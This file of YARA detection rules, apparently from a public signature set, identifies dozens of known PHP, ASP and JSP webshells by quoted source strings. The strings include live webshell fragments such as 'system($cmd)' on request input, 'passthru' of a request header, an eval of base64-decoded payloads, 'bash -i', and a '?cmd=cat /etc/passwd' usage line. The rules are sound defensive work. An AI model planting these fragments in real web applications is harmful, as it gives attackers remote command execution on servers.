rule WebShell_simple_backdoor_2
{
	meta:
		description = "PHP Webshells Github Archive - file simple-backdoor.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		old_rule_name = "WebShell_simple_backdoor"
		hash = "edcd5157a68fa00723a506ca86d6cbb8884ef512"
		id = "faddd38e-d0c6-5299-9983-53351af1ece5"

	strings:
		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
		$s3 = "        echo \"</pre>\";" fullword
		$s4 = "        $cmd = ($_REQUEST['cmd']);" fullword
		$s5 = "        echo \"<pre>\";" fullword
		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
		$s7 = "        die;" fullword
		$s8 = "        system($cmd);" fullword

	condition:
		all of them
}

rule WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2_2
{
	meta:
		description = "PHP Webshells Github Archive - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "8fdd4e0e87c044177e9e1c97084eb5b18e2f1c25"
		id = "a504442f-85f2-55a1-8a07-1e0faccf8bc0"

	strings:
		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
		$s3 = "xb5@hotmail.com</FONT></CENTER></B>\");" fullword
		$s4 = "$v = @ini_get(\"open_basedir\");" fullword
		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword

	condition:
		2 of them
}

rule WebShell_NTDaddy_v1_9
{
	meta:
		description = "PHP Webshells Github Archive - file NTDaddy v1.9.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "79519aa407fff72b7510c6a63c877f2e07d7554b"
		id = "a175fd28-5dc2-5827-87f0-4117e889e90e"

	strings:
		$s2 = "|     -obzerve : mr_o@ihateclowns.com |" fullword
		$s6 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
		$s13 = "<form action=ntdaddy.asp method=post>" fullword
		$s17 = "response.write(\"<ERROR: THIS IS NOT A TEXT FILE>\")" fullword

	condition:
		2 of them
}

rule WebShell_lamashell
{
	meta:
		description = "PHP Webshells Github Archive - file lamashell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b71181e0d899b2b07bc55aebb27da6706ea1b560"
		id = "60e39eed-baa2-5999-8560-0a0242ce2608"

	strings:
		$s0 = "if(($_POST['exe']) == \"Execute\") {" fullword
		$s8 = "$curcmd = $_POST['king'];" fullword
		$s16 = "\"http://www.w3.org/TR/html4/loose.dtd\">" fullword
		$s18 = "<title>lama's'hell v. 3.0</title>" fullword
		$s19 = "_|_  O    _    O  _|_"
		$s20 = "$curcmd = \"ls -lah\";" fullword

	condition:
		2 of them
}

rule WebShell_Simple_PHP_backdoor_by_DK
{
	meta:
		description = "PHP Webshells Github Archive - file Simple_PHP_backdoor_by_DK.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "03f6215548ed370bec0332199be7c4f68105274e"
		id = "2c424714-1d2c-5b89-b1bc-a201e37a0a5d"

	strings:
		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
		$s8 = "system($cmd);" fullword

	condition:
		2 of them
}

rule WebShell_Moroccan_Spamers_Ma_EditioN_By_GhOsT
{
	meta:
		description = "PHP Webshells Github Archive - file Moroccan Spamers Ma-EditioN By GhOsT.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "31e5473920a2cc445d246bc5820037d8fe383201"
		id = "4fa9ce70-d300-55fe-bf98-636f026317ec"

	strings:
		$s4 = "$content = chunk_split(base64_encode($content)); " fullword
		$s12 = "print \"Sending mail to $to....... \"; " fullword
		$s16 = "if (!$from && !$subject && !$message && !$emaillist){ " fullword

	condition:
		all of them
}

rule WebShell_C99madShell_v__2_0_madnet_edition
{
	meta:
		description = "PHP Webshells Github Archive - file C99madShell v. 2.0 madnet edition.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "f99f8228eb12746847f54bad45084f19d1a7e111"
		id = "51db0495-14f3-527e-865b-1405db57ff27"

	strings:
		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
		$s1 = "eval(gzinflate(base64_decode('"
		$s2 = "$pass = \"\";  //Pass" fullword
		$s3 = "$login = \"\"; //Login" fullword
		$s4 = "//Authentication" fullword

	condition:
		all of them
}

rule WebShell_CmdAsp_asp_php
{
	meta:
		description = "PHP Webshells Github Archive - file CmdAsp.asp.php.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "cb18e1ac11e37e236e244b96c2af2d313feda696"
		id = "184b1731-31a9-5040-aa25-d145e8064758"

	strings:
		$s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
		$s4 = "' Author: Maceo <maceo @ dogmile.com>" fullword
		$s5 = "' -- Use a poor man's pipe ... a temp file -- '" fullword
		$s6 = "' --------------------o0o--------------------" fullword
		$s8 = "' File: CmdAsp.asp" fullword
		$s11 = "<-- CmdAsp.asp -->" fullword
		$s14 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
		$s16 = "Set oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
		$s19 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword

	condition:
		4 of them
}

rule WebShell_NCC_Shell
{
	meta:
		description = "PHP Webshells Github Archive - file NCC-Shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "64d4495875a809b2730bd93bec2e33902ea80a53"
		id = "3a2dab3d-faf0-52a5-b114-db402885c618"

	strings:
		$s0 = " if (isset($_FILES['probe']) and ! $_FILES['probe']['error']) {" fullword
		$s1 = "<b>--Coded by Silver" fullword
		$s2 = "<title>Upload - Shell/Datei</title>" fullword
		$s8 = "<a href=\"http://www.n-c-c.6x.to\" target=\"_blank\">-->NCC<--</a></center></b><"
		$s14 = "~|_Team .:National Cracker Crew:._|~<br>" fullword
		$s18 = "printf(\"Sie ist %u Bytes gro" fullword

	condition:
		3 of them
}

rule WebShell_php_webshells_README
{
	meta:
		description = "PHP Webshells Github Archive - file README.md"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "ef2c567b4782c994db48de0168deb29c812f7204"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "Common php webshells. Do not host the file(s) in your server!" fullword
		$s1 = "php-webshells" fullword

	condition:
		all of them
}

rule WebShell_backupsql
{
	meta:
		description = "PHP Webshells Github Archive - file backupsql.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "863e017545ec8e16a0df5f420f2d708631020dd4"
		id = "15d6e967-1e53-53b4-a2cf-7786452495d4"

	strings:
		$s0 = "$headers .= \"\\nMIME-Version: 1.0\\n\" .\"Content-Type: multipart/mixed;\\n\" ."
		$s1 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"
		$s2 = "* as email attachment, or send to a remote ftp server by" fullword
		$s16 = "* Neagu Mihai<neagumihai@hotmail.com>" fullword
		$s17 = "$from    = \"Neu-Cool@email.com\";  // Who should the emails be sent from?, may "

	condition:
		2 of them
}

rule WebShell_AK_74_Security_Team_Web_Shell_Beta_Version
{
	meta:
		description = "PHP Webshells Github Archive - file AK-74 Security Team Web Shell Beta Version.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "c90b0ba575f432ecc08f8f292f3013b5532fe2c4"
		id = "e93a6ac3-080f-53d3-8368-b9feb509a2ea"

	strings:
		$s8 = "- AK-74 Security Team Web Site: www.ak74-team.net" fullword
		$s9 = "<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>'."
		$s10 = "<b><font color=#83000>Execute system commands!</font></b>" fullword

	condition:
		1 of them
}

rule WebShell_php_webshells_cpanel
{
	meta:
		description = "PHP Webshells Github Archive - file cpanel.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "433dab17106b175c7cf73f4f094e835d453c0874"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "function ftp_check($host,$user,$pass,$timeout){" fullword
		$s3 = "curl_setopt($ch, CURLOPT_URL, \"http://$host:2082\");" fullword
		$s4 = "[ user@alturks.com ]# info<b><br><font face=tahoma><br>" fullword
		$s12 = "curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);" fullword
		$s13 = "Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir"
		$s20 = "<br><b>Please enter your USERNAME and PASSWORD to logon<br>" fullword

	condition:
		2 of them
}

rule WebShell_accept_language
{
	meta:
		description = "PHP Webshells Github Archive - file accept_language.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "180b13576f8a5407ab3325671b63750adbcb62c9"
		id = "343ed2a4-4bed-5e73-8d05-f9573b0147af"

	strings:
		$s0 = "<?php passthru(getenv(\"HTTP_ACCEPT_LANGUAGE\")); echo '<br> by q1w2e3r4'; ?>" fullword

	condition:
		all of them
}

rule WebShell_php_webshells_529
{
	meta:
		description = "PHP Webshells Github Archive - file 529.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "ba3fb2995528307487dff7d5b624d9f4c94c75d3"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<p>More: <a href=\"/\">Md5Cracking.Com Crew</a> " fullword
		$s7 = "href=\"/\" title=\"Securityhouse\">Security House - Shell Center - Edited By Kin"
		$s9 = "echo '<PRE><P>This is exploit from <a " fullword
		$s10 = "This Exploit Was Edited By KingDefacer" fullword
		$s13 = "safe_mode and open_basedir Bypass PHP 5.2.9 " fullword
		$s14 = "$hardstyle = explode(\"/\", $file); " fullword
		$s20 = "while($level--) chdir(\"..\"); " fullword

	condition:
		2 of them
}

rule WebShell_STNC_WebShell_v0_8
{
	meta:
		description = "PHP Webshells Github Archive - file STNC WebShell v0.8.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "52068c9dff65f1caae8f4c60d0225708612bb8bc"
		id = "5dc300a2-9965-52e3-a382-b8d327eb7029"

	strings:
		$s3 = "if(isset($_POST[\"action\"])) $action = $_POST[\"action\"];" fullword
		$s8 = "elseif(fe(\"system\")){ob_start();system($s);$r=ob_get_contents();ob_end_clean()"
		$s13 = "{ $pwd = $_POST[\"pwd\"]; $type = filetype($pwd); if($type === \"dir\")chdir($pw"

	condition:
		2 of them
}

rule WebShell_php_webshells_tryag
{
	meta:
		description = "PHP Webshells Github Archive - file tryag.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "42d837e9ab764e95ed11b8bd6c29699d13fe4c41"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "<title>TrYaG Team - TrYaG.php - Edited By KingDefacer</title>" fullword
		$s3 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\"; " fullword
		$s6 = "$string = !empty($_POST['string']) ? $_POST['string'] : 0; " fullword
		$s7 = "$tabledump .= \"CREATE TABLE $table (\\n\"; " fullword
		$s14 = "echo \"<center><div id=logostrip>Edit file: $editfile </div><form action='$REQUE"

	condition:
		3 of them
}

rule WebShell_dC3_Security_Crew_Shell_PRiV_2
{
	meta:
		description = "PHP Webshells Github Archive - file dC3 Security Crew Shell PRiV.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "9077eb05f4ce19c31c93c2421430dd3068a37f17"
		id = "1d4a95c4-8128-504d-958f-dcc5c68f4975"

	strings:
		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
		$s9 = "header(\"Last-Modified: \".date(\"r\",filemtime(__FILE__)));" fullword
		$s13 = "header(\"Content-type: image/gif\");" fullword
		$s14 = "@copy($file,$to) or die (\"[-]Error copying file!\");" fullword
		$s20 = "if (isset($_GET['rename_all'])) {" fullword

	condition:
		3 of them
}

rule WebShell_qsd_php_backdoor
{
	meta:
		description = "PHP Webshells Github Archive - file qsd-php-backdoor.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "4856bce45fc5b3f938d8125f7cdd35a8bbae380f"
		id = "f8208851-159c-5d0b-91ad-478aeb4fc9fd"

	strings:
		$s1 = "// A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.c"
		$s2 = "if(isset($_POST[\"newcontent\"]))" fullword
		$s3 = "foreach($parts as $val)//Assemble the path back together" fullword
		$s7 = "$_POST[\"newcontent\"]=urldecode(base64_decode($_POST[\"newcontent\"]));" fullword

	condition:
		2 of them
}

rule WebShell_php_webshells_spygrup
{
	meta:
		description = "PHP Webshells Github Archive - file spygrup.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "12f9105332f5dc5d6360a26706cd79afa07fe004"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "kingdefacer@msn.com</FONT></CENTER></B>\");" fullword
		$s6 = "if($_POST['root']) $root = $_POST['root'];" fullword
		$s12 = "\".htmlspecialchars($file).\" Bu Dosya zaten Goruntuleniyor<kingdefacer@msn.com>" fullword
		$s18 = "By KingDefacer From Spygrup.org>" fullword

	condition:
		3 of them
}

rule WebShell_Web_shell__c_ShAnKaR
{
	meta:
		description = "PHP Webshells Github Archive - file Web-shell (c)ShAnKaR.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "3dd4f25bd132beb59d2ae0c813373c9ea20e1b7a"
		id = "966f5580-21c5-5ecf-b500-bde3d1ba4494"

	strings:
		$s0 = "header(\"Content-Length: \".filesize($_POST['downf']));" fullword
		$s5 = "if($_POST['save']==0){echo \"<textarea cols=70 rows=10>\".htmlspecialchars($dump"
		$s6 = "write(\"#\\n#Server : \".getenv('SERVER_NAME').\"" fullword
		$s12 = "foreach(@file($_POST['passwd']) as $fed)echo $fed;" fullword

	condition:
		2 of them
}

rule WebShell_Ayyildiz_Tim___AYT__Shell_v_2_1_Biz
{
	meta:
		description = "PHP Webshells Github Archive - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "5fe8c1d01dc5bc70372a8a04410faf8fcde3cb68"
		id = "fdd9bae9-80f3-5200-b922-e7d194009af8"

	strings:
		$s7 = "<meta name=\"Copyright\" content=TouCh By iJOo\">" fullword
		$s11 = "directory... Trust me - it works :-) */" fullword
		$s15 = "/* ls looks much better with ' -F', IMHO. */" fullword
		$s16 = "} else if ($command == 'ls') {" fullword

	condition:
		3 of them
}

rule WebShell_Gamma_Web_Shell
{
	meta:
		description = "PHP Webshells Github Archive - file Gamma Web Shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
		id = "43b4fc9f-8897-5553-8846-29d307efa885"

	strings:
		$s4 = "$ok_commands = ['ls', 'ls -l', 'pwd', 'uptime'];" fullword
		$s8 = "### Gamma Group <http://www.gammacenter.com>" fullword
		$s15 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword
		$s20 = "my $command = $self->query('command');" fullword

	condition:
		2 of them
}

rule WebShell_php_webshells_aspydrv
{
	meta:
		description = "PHP Webshells Github Archive - file aspydrv.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "3d8996b625025dc549d73cdb3e5fa678ab35d32a"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "Target = \"D:\\hshome\\masterhr\\masterhr.com\\\"  ' ---Directory to which files"
		$s1 = "nPos = InstrB(nPosEnd, biData, CByteString(\"Content-Type:\"))" fullword
		$s3 = "Document.frmSQL.mPage.value = Document.frmSQL.mPage.value - 1" fullword
		$s17 = "If request.querystring(\"getDRVs\")=\"@\" then" fullword
		$s20 = "' ---Copy Too Folder routine Start" fullword

	condition:
		3 of them
}

rule WebShell_JspWebshell_1_2_2
{
	meta:
		description = "PHP Webshells Github Archive - file JspWebshell 1.2.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "184fc72b51d1429c44a4c8de43081e00967cf86b"
		id = "659f5c7d-0a9c-554d-a0ad-e3bcb8c5a1e9"

	strings:
		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
		$s4 = "// String tempfilepath=request.getParameter(\"filepath\");" fullword
		$s15 = "endPoint=random1.getFilePointer();" fullword
		$s20 = "if (request.getParameter(\"command\") != null) {" fullword

	condition:
		3 of them
}

rule WebShell_g00nshell_v1_3
{
	meta:
		description = "PHP Webshells Github Archive - file g00nshell-v1.3.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "70fe072e120249c9e2f0a8e9019f984aea84a504"
		id = "61a09576-7e62-5a30-a52c-492b81b96322"

	strings:
		$s10 = "#To execute commands, simply include ?cmd=___ in the url. #" fullword
		$s15 = "$query = \"SHOW COLUMNS FROM \" . $_GET['table'];" fullword
		$s16 = "$uakey = \"724ea055b975621b9d679f7077257bd9\"; // MD5 encoded user-agent" fullword
		$s17 = "echo(\"<form method='GET' name='shell'>\");" fullword
		$s18 = "echo(\"<form method='post' action='?act=sql'>\");" fullword

	condition:
		2 of them
}

rule WebShell_WinX_Shell_2
{
	meta:
		description = "PHP Webshells Github Archive - file WinX Shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		old_rule_name = "WebShell_WinX_Shell"
		hash = "a94d65c168344ad9fa406d219bdf60150c02010e"
		id = "ebad4f2e-96c3-5cb7-b228-de3a6a39ae55"

	strings:
		$s4 = "// It's simple shell for all Win OS." fullword
		$s5 = "//------- [netstat -an] and [ipconfig] and [tasklist] ------------" fullword
		$s6 = "<html><head><title>-:[GreenwooD]:- WinX Shell</title></head>" fullword
		$s13 = "// Created by greenwood from n57" fullword
		$s20 = " if (is_uploaded_file($userfile)) {" fullword

	condition:
		3 of them
}

rule WebShell_PHANTASMA
{
	meta:
		description = "PHP Webshells Github Archive - file PHANTASMA.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "cd12d42abf854cd34ff9e93a80d464620af6d75e"
		id = "b36a7dbb-7d40-5fca-8409-c8822298005c"

	strings:
		$s12 = "\"    printf(\\\"Usage: %s [Host] <port>\\\\n\\\", argv[0]);\\n\" ." fullword
		$s15 = "if ($portscan != \"\") {" fullword
		$s16 = "echo \"<br>Banner: $get <br><br>\";" fullword
		$s20 = "$dono = get_current_user( );" fullword

	condition:
		3 of them
}

rule WebShell_php_webshells_cw
{
	meta:
		description = "PHP Webshells Github Archive - file cw.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "e65e0670ef6edf0a3581be6fe5ddeeffd22014bf"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "// Dump Database [pacucci.com]" fullword
		$s2 = "$dump = \"-- Database: \".$_POST['db'] .\" \\n\";" fullword
		$s7 = "$aids = passthru(\"perl cbs.pl \".$_POST['connhost'].\" \".$_POST['connport']);" fullword
		$s8 = "<b>IP:</b> <u>\" . $_SERVER['REMOTE_ADDR'] .\"</u> - Server IP:</b> <a href='htt"
		$s14 = "$dump .= \"-- Cyber-Warrior.Org\\n\";" fullword
		$s20 = "if(isset($_POST['doedit']) && $_POST['editfile'] != $dir)" fullword

	condition:
		3 of them
}

rule WebShell_php_include_w_shell
{
	meta:
		description = "PHP Webshells Github Archive - file php-include-w-shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1a7f4868691410830ad954360950e37c582b0292"
		id = "a80ca446-6612-51b4-99a7-8a8d8e6ee196"

	strings:
		$s13 = "# dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!!" fullword
		$s17 = "\"phpshellapp\" => \"export TERM=xterm; bash -i\"," fullword
		$s19 = "else if($numhosts == 1) $strOutput .= \"On 1 host..\\n\";" fullword

	condition:
		1 of them
}

rule WebShell_mysql_tool
{
	meta:
		description = "PHP Webshells Github Archive - file mysql_tool.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "c9cf8cafcd4e65d1b57fdee5eef98f0f2de74474"
		id = "a22a0a5c-a686-517e-b1f9-279edab0616b"

	strings:
		$s12 = "$dump .= \"-- Dumping data for table '$table'\\n\";" fullword
		$s20 = "$dump .= \"CREATE TABLE $table (\\n\";" fullword

	condition:
		2 of them
}

rule WebShell_PhpSpy_Ver_2006
{
	meta:
		description = "PHP Webshells Github Archive - file PhpSpy Ver 2006.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "34a89e0ab896c3518d9a474b71ee636ca595625d"
		id = "adbb1963-31c8-5540-a679-c75b1101c163"

	strings:
		$s2 = "var_dump(@$shell->RegRead($_POST['readregname']));" fullword
		$s12 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."
		$s19 = "$program = isset($_POST['program']) ? $_POST['program'] : \"c:\\winnt\\system32"
		$s20 = "$regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\\winnt\\backdoor.exe'"

	condition:
		1 of them
}

rule WebShell_ZyklonShell
{
	meta:
		description = "PHP Webshells Github Archive - file ZyklonShell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "3fa7e6f3566427196ac47551392e2386a038d61c"
		id = "4d7ff3e5-4940-52c8-b045-5db1523f70c2"

	strings:
		$s0 = "The requested URL /Nemo/shell/zyklonshell.txt was not found on this server.<P>" fullword
		$s1 = "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" fullword
		$s2 = "<TITLE>404 Not Found</TITLE>" fullword
		$s3 = "<H1>Not Found</H1>" fullword

	condition:
		all of them
}

rule WebShell_php_webshells_myshell_2
{
	meta:
		description = "PHP Webshells Github Archive - file myshell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		old_rule_name = "WebShell_php_webshells_myshell"
		hash = "5bd52749872d1083e7be076a5e65ffcde210e524"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "if($ok==false &&$status && $autoErrorTrap)system($command . \" 1> /tmp/outpu"
		$s5 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
		$s15 = "<title>$MyShellVersion - Access Denied</title>" fullword
		$s16 = "}$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTT"

	condition:
		1 of them
}

rule WebShell_php_webshells_lolipop
{
	meta:
		description = "PHP Webshells Github Archive - file lolipop.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "86f23baabb90c93465e6851e40104ded5a5164cb"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "$commander = $_POST['commander']; " fullword
		$s9 = "$sourcego = $_POST['sourcego']; " fullword
		$s20 = "$result = mysql_query($loli12) or die (mysql_error()); " fullword

	condition:
		all of them
}

rule WebShell_simple_cmd
{
	meta:
		description = "PHP Webshells Github Archive - file simple_cmd.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "466a8caf03cdebe07aa16ad490e54744f82e32c2"
		id = "1fd0c01a-c265-5e30-ab36-e8e93e316fbe"

	strings:
		$s1 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
		$s2 = "<title>G-Security Webshell</title>" fullword
		$s4 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
		$s6 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword

	condition:
		1 of them
}

rule WebShell_go_shell
{
	meta:
		description = "PHP Webshells Github Archive - file go-shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "3dd85981bec33de42c04c53d081c230b5fc0e94f"
		id = "63eaf530-050a-5db7-8885-d4a1e86d62de"

	strings:
		$s0 = "#change this password; for power security - delete this file =)" fullword
		$s2 = "if (!defined$param{cmd}){$param{cmd}=\"ls -la\"};" fullword
		$s11 = "open(FILEHANDLE, \"cd $param{dir}&&$param{cmd}|\");" fullword
		$s12 = "print << \"[kalabanga]\";" fullword
		$s13 = "<title>GO.cgi</title>" fullword

	condition:
		1 of them
}

rule WebShell_aZRaiLPhp_v1_0_2
{
	meta:
		description = "PHP Webshells Github Archive - file aZRaiLPhp v1.0.php"
		old_rule_name = "WebShell_aZRaiLPhp_v1_0"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "a2c609d1a8c8ba3d706d1d70bef69e63f239782b"
		id = "10546549-e16d-567d-9d88-3d37fe8ff03f"

	strings:
		$s0 = "<font size='+1'color='#0000FF'>aZRaiLPhP'nin URL'si: http://$HTTP_HOST$RED"
		$s4 = "$fileperm=base_convert($_POST['fileperm'],8,10);" fullword
		$s19 = "touch (\"$path/$dismi\") or die(\"Dosya Olu" fullword
		$s20 = "echo \"<div align=left><a href='./$this_file?dir=$path/$file'>G" fullword

	condition:
		2 of them
}

rule WebShell_webshells_zehir4
{
	meta:
		description = "Webshells Github Archive - file zehir4"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "788928ae87551f286d189e163e55410acbb90a64"
		score = 55
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "frames.byZehir.document.execCommand(command, false, option);" fullword
		$s8 = "response.Write \"<title>ZehirIV --> Powered By Zehir &lt;zehirhacker@hotmail.com"

	condition:
		1 of them
}

rule WebShell_zehir4_asp_php
{
	meta:
		description = "PHP Webshells Github Archive - file zehir4.asp.php.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1d9b78b5b14b821139541cc0deb4cbbd994ce157"
		id = "7a849bc6-fff5-5bb6-aff7-660889fd077b"

	strings:
		$s4 = "response.Write \"<title>zehir3 --> powered by zehir &lt;zehirhacker@hotmail.com&"
		$s11 = "frames.byZehir.document.execCommand("
		$s15 = "frames.byZehir.document.execCommand(co"

	condition:
		2 of them
}

rule WebShell_php_webshells_lostDC
{
	meta:
		description = "PHP Webshells Github Archive - file lostDC.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
